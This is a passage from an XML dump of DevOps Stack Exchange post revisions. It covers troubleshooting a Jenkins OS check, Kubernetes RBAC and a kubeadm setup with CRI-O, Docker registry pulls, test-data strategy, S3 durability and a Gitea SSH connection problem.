{&#xD;&#xA;    &#xD;&#xA;        def isWindows() {&#xD;&#xA;            if (System.properties['os.name'].toLowerCase().contains('windows')) {&#xD;&#xA;                println &quot;it's Windows&quot;&#xD;&#xA;                return true&#xD;&#xA;            } else {&#xD;&#xA;                println &quot;it's not Windows&quot;&#xD;&#xA;                return false&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am running the job in a Windows machine as you can notice in the pipeline but the log displays the following:&#xD;&#xA;&#xD;&#xA;    Running on WindowsSlaveWS2016 in C:\Jenkins\workspace\test-pipeline-shared-library&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Demo)&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    a&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    it's not Windows&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    b&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    Hello, human.&#xD;&#xA;    [Pipeline] script&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] echo&#xD;&#xA;    &lt;-- Is linux --&gt;&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // script&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;Any ideas why this is happening?&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33038" PostHistoryTypeId="2" PostId="10759" RevisionGUID="7d950e0d-5e73-491f-9e80-e87d67bd0b4d" CreationDate="2020-02-10T14:47:26.930" UserId="19588" Text="Going from this, your ClusterRole isn't configured to allow access to deployments, and the ClusterRole you've listed isn't properly bound to your service account. You could configure it with something like I did below as a troubleshooting measure/to make sure you're able to properly configure permissions and rule out an issue with the serviceaccount's role bindings. &#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ServiceAccount&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1beta1&#xD;&#xA;    kind: ClusterRoleBinding&#xD;&#xA;    metadata:&#xD;&#xA;      name: gitlab-admin-binding&#xD;&#xA;    roleRef:&#xD;&#xA;      apiGroup: rbac.authorization.k8s.io&#xD;&#xA;      kind: ClusterRole&#xD;&#xA;      name: deployment-reader&#xD;&#xA;    subjects:&#xD;&#xA;    - kind: ServiceAccount&#xD;&#xA;      name: gitlab-admin&#xD;&#xA;      namespace: kube-system&#xD;&#xA;&#xD;&#xA;A new ClusterRole&#xD;&#xA;&#xD;&#xA;    kind: ClusterRole&#xD;&#xA;    apiVersion: rbac.authorization.k8s.io/v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: deployment-reader&#xD;&#xA;    rules:&#xD;&#xA;    - apiGroups: [&quot;extensions&quot;, &quot;apps&quot;]&#xD;&#xA;      resources: [&quot;deployments&quot;]&#xD;&#xA;      verbs: [&quot;get&quot;, &quot;watch&quot;, &quot;list&quot;]&#xD;&#xA;&#xD;&#xA;Then to check to make sure the service account can properly access the resource in the default namespace you can check with the following command&#xD;&#xA;&#xD;&#xA;    kubectl get deployments --as system:serviceaccount:kube-system:gitlab-admin -n default&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33039" PostHistoryTypeId="2" PostId="10760" RevisionGUID="1a9d4230-9d95-4236-b1c4-9b68d5a694e2" CreationDate="2020-02-10T16:04:52.337" UserId="4197" Text="I got the answer.&#xD;&#xA;As Mark Waite answered here:&#xD;&#xA;&#xD;&#xA;[https://groups.google.com/forum/#!topic/jenkinsci-users/aGYt-OEYds8][1]&#xD;&#xA;&#xD;&#xA;Use the isUnix pipeline step rather than writing your own version of that step.  The System.properties that you are using will execute on the master, not on the agent.  When it executes on the master, it will report the os.name value of the master.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://groups.google.com/forum/#!topic/jenkinsci-users/aGYt-OEYds8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33043" PostHistoryTypeId="2" PostId="10762" RevisionGUID="9c2ef69f-f686-406c-a06d-8b62e5984ec4" CreationDate="2020-02-10T19:06:02.807" UserId="19608" Text="1. It looks like your dockerfile has both `CMD` and `ENTRYPOINT`, so it’s highly likely that what gets invoked as a commsnd is `pwsh -f /app/Start-Test.ps1 /app/Start-Test.ps1`. It could be that this command gives an error, `kubectl describe &lt;your-pod&gt;` might shed some light onto what’s going on. Check [this answer](https://stackoverflow.com/a/34245657) for details on difference between `CMD` and `ENTRYPOINT`&#xD;&#xA;2. If you’re getting `ImagePullBackOff`, then image might be missing from the registry or secrets are invalid. &#xD;&#xA;&#xD;&#xA;Hope this helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="33044" PostHistoryTypeId="2" PostId="10763" RevisionGUID="75181bcc-f552-4e5b-be9b-e263abe84c0d" CreationDate="2020-02-10T19:24:08.633" UserId="19609" Text="I'm running crio 1.17.0-rc1 with kubernetes 1.17.1 on RHEL7/CENTOS7.  One thing I had to do was build crio 1.17 myself because there was no package available and I read the version should match (crio 1.17 and k8 1.17).&#xD;&#xA;&#xD;&#xA;I am using systemd as the cgroup driver. I'm not sure what your issue might be, but my setup goes like this:&#xD;&#xA;&#xD;&#xA;    cat /etc/sysconfig/kubelet&#xD;&#xA;    KUBELET_EXTRA_ARGS=--cgroup-driver=systemd --container-runtime-endpoint=unix:///var/run/crio/crio.sock --cloud-provider=external&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My kubeadm init line is (I'm using an env variable to set the control plain endpoint):&#xD;&#xA;&#xD;&#xA;    kubeadm init --pod-network-cidr=10.244.0.0/16 --control-plane-endpoint {{ lookup('env','master_lb_ip_address') }}:6443 --upload-certs &gt;&gt; $HOME/log/init-cluster.log&#xD;&#xA;&#xD;&#xA;I also edited /etc/crio/crio.conf to set systemd as the cgroup manager.&#xD;&#xA;&#xD;&#xA;    cgroup_manager = &quot;systemd&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also make sure you are enabling the modules / sysconfig options specified on [this page](https://kubernetes.io/docs/setup/production-environment/container-runtimes/#cri-o).&#xD;&#xA;&#xD;&#xA;    modprobe overlay&#xD;&#xA;    modprobe br_netfilter&#xD;&#xA;    &#xD;&#xA;    # Setup required sysctl params, these persist across reboots.&#xD;&#xA;    cat &gt; /etc/sysctl.d/99-kubernetes-cri.conf &lt;&lt;EOF&#xD;&#xA;    net.bridge.bridge-nf-call-iptables  = 1&#xD;&#xA;    net.ipv4.ip_forward                 = 1&#xD;&#xA;    net.bridge.bridge-nf-call-ip6tables = 1&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;    sysctl --system&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33045" PostHistoryTypeId="2" PostId="10764" RevisionGUID="06ff6b1b-4001-491d-8aa3-f88c8b449b40" CreationDate="2020-02-10T20:27:32.627" UserId="19311" Text="You can explore [the sources](https://github.com/docker/libnetwork/blob/922cd533eac14b6e0754756c5cacf9f44af5d699/network.go#L1657) to investigate concrete case. Also I explained in [this stackoverflow answer](https://stackoverflow.com/a/60157448/3338479) why it probably happened." ContentLicense="CC BY-SA 4.0" />
  <row Id="33046" PostHistoryTypeId="2" PostId="10765" RevisionGUID="2679b7ee-cf90-4ae8-b4eb-51b33afbbd25" CreationDate="2020-02-10T20:56:11.603" UserId="19610" Text="If your company has nexus or a similar repository, they may already have set up nexus to pull in what you need. You could try adding your repo's host/ip in front of the relative docker hub path.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker pull nexus.example.com:18443/nginx&#xD;&#xA;docker pull nexus.example.com:18443/selenium/node-chrome&#xD;&#xA;docker pull nexus.example.com:18443/postgres:9.4&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33047" PostHistoryTypeId="2" PostId="10766" RevisionGUID="719abf78-315b-42fc-8b21-2dec46307529" CreationDate="2020-02-10T21:17:07.280" UserId="19608" Text="Would it be possible to segregate data by level of maturity/stability of its functionality? The same approach which is used to version the API might work here quite well. &#xD;&#xA;&#xD;&#xA;Conceptually it would mean that data for _stable_ functionality could be copied from build to build via snspshots of the underlying data store (maybe with few alterations depending on your context). &#xD;&#xA;&#xD;&#xA;Data for _preview_ (unstable, in development) functionality is best to generate - this way no matter how functionality is altered, it is always possible to get most fresh view of how the product is going to look like. Generation can happen as a pre-demo step, or straight in (auto-fill in the UI, it can even be made to look neat). &#xD;&#xA;&#xD;&#xA;As soon as _preview_ functionality graduates to _stable_, it’s data could be included into the snapshot. &#xD;&#xA;&#xD;&#xA;It would be best to align with engineering on common way to generate data for new functionality and then ship generators for it’s data along with code itself. &#xD;&#xA;&#xD;&#xA;Then, release process can be tweaked to ship not only the binaries of an app but also test (stable) data snapshot. &#xD;&#xA;&#xD;&#xA;This hybrid approach allows to achieve following benefits:&#xD;&#xA;* Set up and align expectations between devops, engineering and product about how test data is obtained&#xD;&#xA;* Avoid exploding time for generation of the _entire_ data set over time&#xD;&#xA;* Enable quick iteration of features under development&#xD;&#xA;* Educate developers and make them more DevOps aware (they’d have to take last stable dump and roll it out in their dev env)&#xD;&#xA;* Enable fast feedback loop between all the parties involved which leads to better product quality (if snapshot doesn’t rollout or app crashes, then the release process is broken)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33048" PostHistoryTypeId="5" PostId="10766" RevisionGUID="bb3df213-edb1-4ad2-bd09-94baa2b1e5cb" CreationDate="2020-02-10T21:28:29.013" UserId="19608" Comment="Added cons and request for feedback" Text="Would it be possible to segregate data by level of maturity/stability of its functionality? The same approach which is used to version the API might work here quite well. &#xD;&#xA;&#xD;&#xA;Conceptually it would mean that data for _stable_ functionality could be copied from build to build via snapshots of the underlying data store (maybe with few alterations depending on your context). &#xD;&#xA;&#xD;&#xA;Data for _preview_ (unstable, in development) functionality is best to generate - this way no matter how functionality is altered, it is always possible to get the fresh view of how the product is going to look like. Generation can happen (for example) as a pre-demo step, or straight in the app (auto-fill in the UI, it can even be made to look neat). &#xD;&#xA;&#xD;&#xA;As soon as _preview_ functionality graduates to _stable_, it’s data could be included into the snapshot. &#xD;&#xA;&#xD;&#xA;It would be best to align with engineering on common way to generate data for new functionality and then ship generators for it’s data along with code itself. &#xD;&#xA;&#xD;&#xA;Then, release process can be tweaked to ship not only the binaries of an app but also test (stable) data snapshot. &#xD;&#xA;&#xD;&#xA;This hybrid approach allows to achieve following benefits:&#xD;&#xA;* Set up and align expectations between devops, engineering and product about how test data is obtained&#xD;&#xA;* Avoid exploding time for generation of the _entire_ data set over time&#xD;&#xA;* Enable quick iteration of features under development&#xD;&#xA;* Educate developers and make them more DevOps aware (they’d have to take last stable dump and roll it out in their dev env)&#xD;&#xA;* Enable fast feedback loop between all the parties involved which leads to better product quality (if snapshot doesn’t rollout or app crashes, then the release process is broken)&#xD;&#xA;&#xD;&#xA;There aren’t many cons of this approach, but I’d highlight a few most important:&#xD;&#xA;* It requires work. Main point of it is to fix (or actually define) the process, so it would require taking an extra mile to weigh, explain, prototype and build the alignment&#xD;&#xA;* It would not solve problems with depencies between preview functionality, eg if feature B depends on A and they _both_ are under development, data for both have to be generated and A has to be stabilized before B.&#xD;&#xA;&#xD;&#xA;Overall, it’s not an easy problem you’re dealing with, and I would be glad if you could share your experience how did it go, what path have your project taken and reasoning behind it. Cheers!" ContentLicense="CC BY-SA 4.0" />
  <row Id="33049" PostHistoryTypeId="5" PostId="10766" RevisionGUID="93d2f90c-ecf2-473c-a8a9-2d94b96fbe96" CreationDate="2020-02-10T21:33:50.737" UserId="19608" Comment="Added cons and request for feedback" Text="Would it be possible to segregate data by level of maturity/stability of its functionality? The same approach which is used to version the API might work here quite well. &#xD;&#xA;&#xD;&#xA;Conceptually it would mean that data for _stable_ functionality could be copied from build to build via snapshots of the underlying data store (maybe with few alterations depending on your context). &#xD;&#xA;&#xD;&#xA;Data for _preview_ (unstable, in development) functionality is best to generate - this way no matter how functionality is altered, it is always possible to get the fresh view of how the product is going to look like. Generation can happen (for example) as a pre-demo step, or straight in the app (auto-fill in the UI, it can even be made to look neat). &#xD;&#xA;&#xD;&#xA;As soon as _preview_ functionality graduates to _stable_, its data can be included into the snapshot (as an additional release process step)&#xD;&#xA;&#xD;&#xA;It would be best to align with engineering on common way to generate data for new functionality and then ship generators for it’s data along with code itself. &#xD;&#xA;&#xD;&#xA;This hybrid approach allows to achieve following benefits:&#xD;&#xA;* Set up and align expectations between devops, engineering and product about how test data is obtained&#xD;&#xA;* No need to deal with exponential growth of time to generate _entire_ data set&#xD;&#xA;* Enable quick iteration of features under development&#xD;&#xA;* Educate developers and make them more DevOps aware (they’d have to take last stable data snapshot and roll it out in their dev env when they start working on a feature)&#xD;&#xA;* Enable fast feedback loop between all the parties involved which leads to better product quality (if snapshot doesn’t rollout or app crashes, then the release process is broken)&#xD;&#xA;&#xD;&#xA;There aren’t many cons of this approach, but I’d highlight a few most important:&#xD;&#xA;&#xD;&#xA;* It requires work. Main point of this approach is to fix (or actually define) the process, so it would require taking an extra mile to weigh, explain, prototype and build the alignment&#xD;&#xA;* It would not solve problems with depencies in preview functionality, eg if feature B depends on A and they _both_ are under development, data for both have to be generated and A has to be stabilized before B.&#xD;&#xA;&#xD;&#xA;Overall, it’s not an easy problem you’re dealing with, and I would be appreciste if you could share your experience on how did it go, what path have your project had taken and reasoning behind it. Cheers!" ContentLicense="CC BY-SA 4.0" />
  <row Id="33053" PostHistoryTypeId="5" PostId="10743" RevisionGUID="8f6dec8f-02be-4592-8a65-34971ad0c197" CreationDate="2020-02-10T22:13:25.733" UserId="707" Comment="added 199 characters in body" Text="Welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Is it possible to make data management and operation of data sets to be an asset on its own? It seems like data has become more important so a more *data-centric* approach could help.&#xD;&#xA;&#xD;&#xA;&gt; Program managers have the insider info on what the demo data needs to&#xD;&#xA;&gt; look like&#xD;&#xA;&#xD;&#xA;This proves also organizational silo and lack of communication in the process: even before DevOps, in an agile team e.g. scrum you could have not only engineers but also a product owner and testers who take responsibility to provide not only useful tests but also useful testdata to the team.&#xD;&#xA;&#xD;&#xA;That is, the fourth possible scenario could be that you take a data set from production and scramble/anonymize it. If it is too large, you need to reduce it to a representative mix. A DevOps way to do it would be to automate all these steps after they are well understood. =&gt; Working real life scenario.&#xD;&#xA;&#xD;&#xA;Typical keywords in this context are:&#xD;&#xA;&#xD;&#xA;* data scrambling&#xD;&#xA;* data anonymization&#xD;&#xA;* synthetic data&#xD;&#xA;&#xD;&#xA;Depending on your domain, there could be also applicable and more or less flexible enterprise tools for master data management where product owners could manage and version various data profiles. " ContentLicense="CC BY-SA 4.0" />
  <row Id="33054" PostHistoryTypeId="5" PostId="10766" RevisionGUID="fd86e320-9b66-45ca-9f0d-17a71158228d" CreationDate="2020-02-10T22:15:20.337" UserId="707" Comment="added 12 characters in body" Text="Would it be possible to segregate data by level of maturity/stability of its functionality? The same approach which is used to version the API might work here quite well. &#xD;&#xA;&#xD;&#xA;Conceptually it would mean that data for _stable_ functionality could be copied from build to build via snapshots of the underlying data store (maybe with few alterations depending on your context). &#xD;&#xA;&#xD;&#xA;Data for _preview_ (unstable, in development) functionality is best to generate - this way no matter how functionality is altered, it is always possible to get the fresh view of how the product is going to look like. Generation can happen (for example) as a pre-demo step, or straight in the app (auto-fill in the UI, it can even be made to look neat). &#xD;&#xA;&#xD;&#xA;As soon as _preview_ functionality graduates to _stable_, its data can be included into the snapshot (as an additional release process step)&#xD;&#xA;&#xD;&#xA;It would be best to align with engineering on common way to generate data for new functionality and then ship generators for it’s data along with code itself. &#xD;&#xA;&#xD;&#xA;This hybrid approach allows to achieve following benefits:&#xD;&#xA;&#xD;&#xA;* Set up and align expectations between devops, engineering and product about how test data is obtained&#xD;&#xA;&#xD;&#xA;* No need to deal with exponential growth of time to generate _entire_ data set&#xD;&#xA;&#xD;&#xA;* Enable quick iteration of features under development&#xD;&#xA;&#xD;&#xA;* Educate developers and make them more DevOps aware (they’d have to take last stable data snapshot and roll it out in their dev env when they start working on a feature)&#xD;&#xA;&#xD;&#xA;* Enable fast feedback loop between all the parties involved which leads to better product quality (if snapshot doesn’t rollout or app crashes, then the release process is broken)&#xD;&#xA;&#xD;&#xA;There aren’t many cons of this approach, but I’d highlight a few most important:&#xD;&#xA;&#xD;&#xA;* It requires work. Main point of this approach is to fix (or actually define) the process, so it would require taking an extra mile to weigh, explain, prototype and build the alignment&#xD;&#xA;&#xD;&#xA;* It would not solve problems with depencies in preview functionality, eg if feature B depends on A and they _both_ are under development, data for both have to be generated and A has to be stabilized before B.&#xD;&#xA;&#xD;&#xA;Overall, it’s not an easy problem you’re dealing with, and I would be appreciste if you could share your experience on how did it go, what path have your project had taken and reasoning behind it. Cheers!" ContentLicense="CC BY-SA 4.0" />
  <row Id="33058" PostHistoryTypeId="2" PostId="10769" RevisionGUID="89bfe68d-c930-460a-ac5e-439b87590f22" CreationDate="2020-02-11T08:35:17.377" UserId="12831" Text="In terms of S3, for increased durability, consider [cross region replication](https://docs.aws.amazon.com/AmazonS3/latest/dev/replication.html) as an option if you want to increase the durability. AWS also provides their AWS Backup service you might investigate. I'm not certain of any benefit to transferring large amounts of data for durability to another provider. You'll pay a lot more for transfer, and it won't be integrated first class with the security IAM provides.&#xD;&#xA;&#xD;&#xA;If the concern is about someone maliciously doing something then there are security best practices, access logging, cloudtrail, and other options to provide assurance. If it's more about the possibility (as low as it seems) for a bucket to fail, then the cross-region replication might be a great option for you with minimal configuration impact.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33059" PostHistoryTypeId="5" PostId="10760" RevisionGUID="a0b697eb-a532-401b-981d-038c62858fb1" CreationDate="2020-02-11T08:39:50.163" UserId="4197" Comment="added 118 characters in body" Text="I got the answer.&#xD;&#xA;As Mark Waite answered here:&#xD;&#xA;&#xD;&#xA;[https://groups.google.com/forum/#!topic/jenkinsci-users/aGYt-OEYds8][1]&#xD;&#xA;&#xD;&#xA;Use the [isUnix][2] pipeline step rather than writing your own version of that step.  The System.properties that you are using will execute on the master, not on the agent.  When it executes on the master, it will report the os.name value of the master.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://groups.google.com/forum/#!topic/jenkinsci-users/aGYt-OEYds8&#xD;&#xA;  [2]: https://jenkins.io/doc/pipeline/steps/workflow-basic-steps/#isunix-checks-if-running-on-a-unix-like-node" ContentLicense="CC BY-SA 4.0" />
  <row Id="33063" PostHistoryTypeId="5" PostId="10757" RevisionGUID="6c950ab3-f5e9-4210-8044-69eee9edcd0a" CreationDate="2020-02-11T11:40:31.290" UserId="19598" Comment="Added more info to the original question as per &quot;LArntz&quot; and  &quot;Weyder Ferreira&quot; suggestions/questions" Text="I've been following this doc to deploy kubernetes https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/&#xD;&#xA;&#xD;&#xA;After launching the &quot;kubeadm init&quot; command and during its excecution, this is the output:&#xD;&#xA;&#xD;&#xA;&gt; [kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10248/healthz' failed with error: Get http://localhost:10248/healthz: dial tcp 127.0.0.1:10248: connect: connection refused.&#xD;&#xA;Unfortunately, an error has occurred:&#xD;&#xA;        timed out waiting for the condition&#xD;&#xA;This error is likely caused by:&#xD;&#xA;        - The kubelet is not running&#xD;&#xA;        - The kubelet is unhealthy due to a misconfiguration of the node in some way (required cgroups disabled)&#xD;&#xA;If you are on a systemd-powered system, you can try to troubleshoot the error with the following commands:&#xD;&#xA;        - 'systemctl status kubelet'&#xD;&#xA;        - 'journalctl -xeu kubelet'&#xD;&#xA;Additionally, a control plane component may have crashed or exited when started by the container runtime.&#xD;&#xA;To troubleshoot, list all containers using your preferred container runtimes CLI, e.g. docker.&#xD;&#xA;Here is one example how you may list all Kubernetes containers running in docker:&#xD;&#xA;        - 'docker ps -a | grep kube | grep -v pause'&#xD;&#xA;        Once you have found the failing container, you can inspect its logs with:&#xD;&#xA;        - 'docker logs CONTAINERID'&#xD;&#xA;error execution phase wait-control-plane: couldn't initialize a Kubernetes cluster&#xD;&#xA;To see the stack trace of this error execute with --v=5 or higher&#xD;&#xA;&#xD;&#xA;It runs fine if I install docker and switch the runtime to docker instead of &quot;remote&quot; and &quot;systemd&quot;.&#xD;&#xA;&#xD;&#xA;I've tried several things, but this is the content of my last try:&#xD;&#xA;&#xD;&#xA;&gt;  cat etc/sysconfig/kubelet&#xD;&#xA;&#xD;&#xA;&gt;  KUBELET_ARGS=&quot;--container-runtime=remote&#xD;&#xA;&gt; --container-runtime-endpoint=unix:///var/run/crio/crio.sock --runtime-request-timeout=10m --cluster_domain=topota.madre&quot;&#xD;&#xA;&#xD;&#xA;&gt; systemctl cat kubelet&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service [Unit] Description=kubelet: The Kubernetes Node Agent Documentation=https://kubernetes.io/docs/&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Service] ExecStart=/usr/bin/kubelet Restart=always&#xD;&#xA;&gt; StartLimitInterval=0 RestartSec=10&#xD;&#xA;&gt; &#xD;&#xA;&gt; [Install] WantedBy=multi-user.target&#xD;&#xA;&gt; &#xD;&#xA;&gt; \# /usr/lib/systemd/system/kubelet.service.d/10-kubeadm.conf&#xD;&#xA;&gt; \# Note: This dropin only works with kubeadm and kubelet v1.11+ [Service]&#xD;&#xA;&gt; Environment=&quot;KUBELET_KUBECONFIG_ARGS=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf&#xD;&#xA;&gt; --kubeconfig=/etc/ Environment=&quot;KUBELET_CONFIG_ARGS=--config=/var/lib/kubelet/config.yaml&quot;&#xD;&#xA;&gt; \# This is a file that &quot;kubeadm init&quot; and &quot;kubeadm join&quot; generates at runtime, populating the KUBELET_KUBEADM_ARGS var&#xD;&#xA;&gt; EnvironmentFile=-/var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&gt; \# This is a file that the user can use for overrides of the kubelet args as a last resort. Preferably, the user shoul&#xD;&#xA;&gt; \# the .NodeRegistration.KubeletExtraArgs object in the configuration files instead. KUBELET_EXTRA_ARGS should be sour&#xD;&#xA;&gt; EnvironmentFile=-/etc/sysconfig/kubelet ExecStart=&#xD;&#xA;&gt; ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS&#xD;&#xA;&gt; $KUBELET_CONFIG_ARGS $KUBELET_KUBEADM_ARGS $KUBELET_EXTRA_ARGS&#xD;&#xA;&#xD;&#xA;&gt; cat /var/lib/kubelet/kubeadm-flags.env&#xD;&#xA;&#xD;&#xA;&gt; is empty right now&#xD;&#xA;&#xD;&#xA;Cri-O service ir running ok and Docker is not installed.&#xD;&#xA;&#xD;&#xA;- kubelet version --short -&gt; Client Version: v1.17.2&#xD;&#xA;- kubeadm version -o short -&gt; v1.17.2&#xD;&#xA;- grep -i cgroup_manager /etc/crio/crio.conf -&gt; cgroup_manager = &quot;systemd&quot;&#xD;&#xA;- lsmod | grep -i &quot;overlay\|br_netfilter&quot; -&gt; [&quot;br_netfilter&quot;,&quot;overlay&quot;] (both ok).&#xD;&#xA;- Other &quot;extra args tested&quot; (/etc/sysconfig/kubelet)&#xD;&#xA;&#xD;&#xA;&gt; KUBELET_EXTRA_ARGS=--cgroup-driver=systemd&#xD;&#xA;&gt; --container-runtime-endpoint=unix:///var/run/crio/crio.sock&#xD;&#xA;&#xD;&#xA;- Full output of some commands:&#xD;&#xA;-&gt; &quot;kube admin init --upload-certs&quot; -&gt; https://pastebin.com/isbAynEg&#xD;&#xA;-&gt; &quot;while true ; do systemctl status kubelet ; sleep 1 ; done&quot; -&gt; https://pastebin.com/9pgtDMNu&#xD;&#xA;-&gt; &quot;cat /etc/sysctl.d/99-kubernetes-cri.conf&quot; -&gt; [&quot;net.bridge.bridge-nf-call-iptables = 1&quot;,&quot;net.ipv4.ip_forward = 1&quot;,&quot;net.bridge.bridge-nf-call-ip6tables = 1&quot;]&#xD;&#xA;-&gt; &quot;journalctl -xeu kubelet&quot; -&gt; https://pastebin.com/qreJyhsu (this one has some things like &quot;aws credentials&quot; which i dont understand and not sure if are the reason or not for the errors).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any help please?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33066" PostHistoryTypeId="2" PostId="10772" RevisionGUID="303463b7-3572-4e8a-97f9-aecce2137525" CreationDate="2020-02-11T19:57:38.073" UserId="18869" Text="My computer: Windows 10 Pro 1909&#xD;&#xA;&#xD;&#xA;I have a Gitea server running in my office, at local IP address 10.100.10.24, with SSH configured on port 22000. Gitea is configured to use port 3000 for HTTP.&#xD;&#xA;&#xD;&#xA;I'm able to access the Gitea website through my desktop, which is not the same PC that Gitea is running on, at URL `http://10.100.10.24:3000/.`&#xD;&#xA;&#xD;&#xA;Also, GitExtensions is able to connect to Gitea with the following SSH URL:&#xD;&#xA;&#xD;&#xA;    ssh://git@10.100.10.24:22000/afarley/[XXXXXXXX].git&#xD;&#xA;&#xD;&#xA;I started trying to set up TeamCity on my desktop to build this repository. However, when I configure this repo in TeamCity, I'm unable to connect. To drill down, I've tried to connect via ssh using the command-line.&#xD;&#xA;&#xD;&#xA;However, it seems that I'm unable to log in to the Gitea server via SSH; I **don't** get the expected response:&#xD;&#xA;&#xD;&#xA;    Hi there, You've successfully authenticated, but Gitea does not provide shell access.&#xD;&#xA;    If this is unexpected, please log in with password and setup Gitea under another user.&#xD;&#xA;&#xD;&#xA;Rather, the entire terminal just seems to hang.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/f8UxS.png&#xD;&#xA;&#xD;&#xA;Things I have checked so far:&#xD;&#xA; * The keyfile I'm pointing to (id_rsa) is PEM-formatted by exporting OpenSSH format from PuttyGen&#xD;&#xA; * id_rsa has been set to 400 permissions via 'chmod 400 id_rsa' (does this make sense? I'm using Windows 10)&#xD;&#xA;&#xD;&#xA;The issue feels similar to this:&#xD;&#xA;https://github.com/PowerShell/Win32-OpenSSH/issues/1334&#xD;&#xA;&#xD;&#xA;But the discussion for that issue seems to go dead around Jul 9, 2019. I can't believe that the openssh client on Windows 10 is this broken; am I doing something else wrong?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="33067" PostHistoryTypeId="1" PostId="10772" RevisionGUID="303463b7-3572-4e8a-97f9-aecce2137525" CreationDate="2020-02-11T19:57:38.073" UserId="18869" Text="Why can't I connect to Gitea using ssh via command line?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33068" PostHistoryTypeId="3" PostId="10772" RevisionGUID="303463b7-3572-4e8a-97f9-aecce2137525" CreationDate="2020-02-11T19:57:38.073" UserId="18869" Text="&lt;git&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33069" PostHistoryTypeId="5" PostId="10772" RevisionGUID="7ca7adea-4fc2-4281-96b7-b98ac85a5479" CreationDate="2020-02-11T20:12:13.287" UserId="18869" Comment="Adding verbose output" Text="My computer: Windows 10 Pro 1909&#xD;&#xA;&#xD;&#xA;I have a Gitea server running in my office, at local IP address 10.100.10.24, with SSH configured on port 22000. Gitea is configured to use port 3000 for HTTP.&#xD;&#xA;&#xD;&#xA;I'm able to access the Gitea website through my desktop, which is not the same PC that Gitea is running on, at URL `http://10.100.10.24:3000/.`&#xD;&#xA;&#xD;&#xA;Also, GitExtensions is able to connect to Gitea with the following SSH URL:&#xD;&#xA;&#xD;&#xA;    ssh://git@10.100.10.24:22000/afarley/[XXXXXXXX].git&#xD;&#xA;&#xD;&#xA;I started trying to set up TeamCity on my desktop to build this repository. However, when I configure this repo in TeamCity, I'm unable to connect. To drill down, I've tried to connect via ssh using the command-line.&#xD;&#xA;&#xD;&#xA;However, it seems that I'm unable to log in to the Gitea server via SSH; I **don't** get the expected response:&#xD;&#xA;&#xD;&#xA;    Hi there, You've successfully authenticated, but Gitea does not provide shell access.&#xD;&#xA;    If this is unexpected, please log in with password and setup Gitea under another user.&#xD;&#xA;&#xD;&#xA;Rather, the entire terminal just seems to hang.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/f8UxS.png&#xD;&#xA;&#xD;&#xA;Things I have checked so far:&#xD;&#xA; * The keyfile I'm pointing to (id_rsa) is PEM-formatted by exporting OpenSSH format from PuttyGen&#xD;&#xA; * id_rsa has been set to 400 permissions via 'chmod 400 id_rsa' (does this make sense? I'm using Windows 10)&#xD;&#xA;&#xD;&#xA;The issue feels similar to this:&#xD;&#xA;https://github.com/PowerShell/Win32-OpenSSH/issues/1334&#xD;&#xA;&#xD;&#xA;But the discussion for that issue seems to go dead around Jul 9, 2019. I can't believe that the openssh client on Windows 10 is this broken; am I doing something else wrong?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Here's what I get if I add the `-v` flag:&#xD;&#xA;&#xD;&#xA;    PS C:\Users\alexa\.ssh&gt; ssh 